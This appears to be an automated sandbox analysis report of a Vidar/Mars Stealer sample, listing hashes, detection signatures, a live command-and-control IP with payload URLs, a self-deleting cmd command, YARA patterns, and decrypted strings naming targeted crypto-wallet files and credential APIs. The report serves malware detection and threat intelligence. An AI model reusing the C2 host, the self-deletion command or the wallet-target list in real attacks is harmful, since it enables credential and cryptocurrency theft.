Edit tour

Windows Analysis Report
IrAr85Qv7X.exe

Overview

General Information

Sample name:	IrAr85Qv7X.exe renamed because original name is a hash value
Original sample name:	52e9f55d274e2ee01959fe2d8297a927.exe
Analysis ID:	1498390
MD5:	52e9f55d274e2ee01959fe2d8297a927
SHA1:	b16e5df39a96c81edb1e98239031b75834b07a87
SHA256:	d180729ea9f2346e9abd7d96fc1d0ae39fa012d9660f50f79c71b9f828b88dc0
Tags:	ArkeiStealerexe
Infos:

Detection

Mars Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mars stealer

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Self deletion via cmd or bat file

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

IrAr85Qv7X.exe (PID: 4944 cmdline: "C:\Users\user\Desktop\IrAr85Qv7X.exe" MD5: 52E9F55D274E2EE01959FE2D8297A927)

cmd.exe (PID: 4956 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5332 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x3a30:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xcfa8:$a2: wallet.dat 0xd4d0:$b1: CC\%s_%s.txt 0xe040:$b2: History\%s_%s.txt 0xde20:$b3: Autofill\%s_%s.txt
Process Memory Space: IrAr85Qv7X.exe PID: 4944	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: IrAr85Qv7X.exe PID: 4944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: IrAr85Qv7X.exe PID: 4944	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x911a4:$a2: wallet.dat 0x9159d:$b1: CC\%s_%s.txt 0x91c97:$b2: History\%s_%s.txt 0x91b29:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x1550:$a2: wallet.dat 0x3a89:$b1: CC\%s_%s.txt 0x3bdb:$b2: History\%s_%s.txt 0x3a0d:$b3: Autofill\%s_%s.txt
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.IrAr85Qv7X.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.IrAr85Qv7X.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.IrAr85Qv7X.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x3e30:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B

Suricata Signatures

ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil - Source IP: 192.168.2.4 - Destination IP: 104.194.151.11

Timestamp:	2024-08-24T12:22:00.491753+0200
SID:	2033163
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: IrAr85Qv7X.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://104.194.151.11/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/nss3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/msvcp140.dll?x	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/AP.php	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/mozglue.dll	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: IrAr85Qv7X.exe	ReversingLabs: Detection: 95%
Source: IrAr85Qv7X.exe	Virustotal: Detection: 70%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: IrAr85Qv7X.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: 05/02/2022 20:00:00
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: http://
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: 07903688652437406205
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Default
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: open
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /sqlite3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /freebl3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /mozglue.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /msvcp140.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /nss3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /softokn3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /vcruntime140.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: .zip
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Tag:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Working Path:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Local Time:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Display Language:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Processor:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: OS:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Bit)
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Videocard:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PC name:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: User name:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Domain name:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MachineID:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GUID:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: system.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Wallets\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Ethereum
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: keystore
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Electrum
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Exodus
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: window-state.json
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: seed.seco
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: info.seco
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: default_wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: JAXX
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Atomic
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: 000003.log
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: LOCK
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: 0000*
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Binance
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Binance\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: app-store.json
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Coinomi
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: *.wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: *.config
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: memset
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: memcpy
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateThread
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SaveDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: VaultFree
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: StrCmpCA
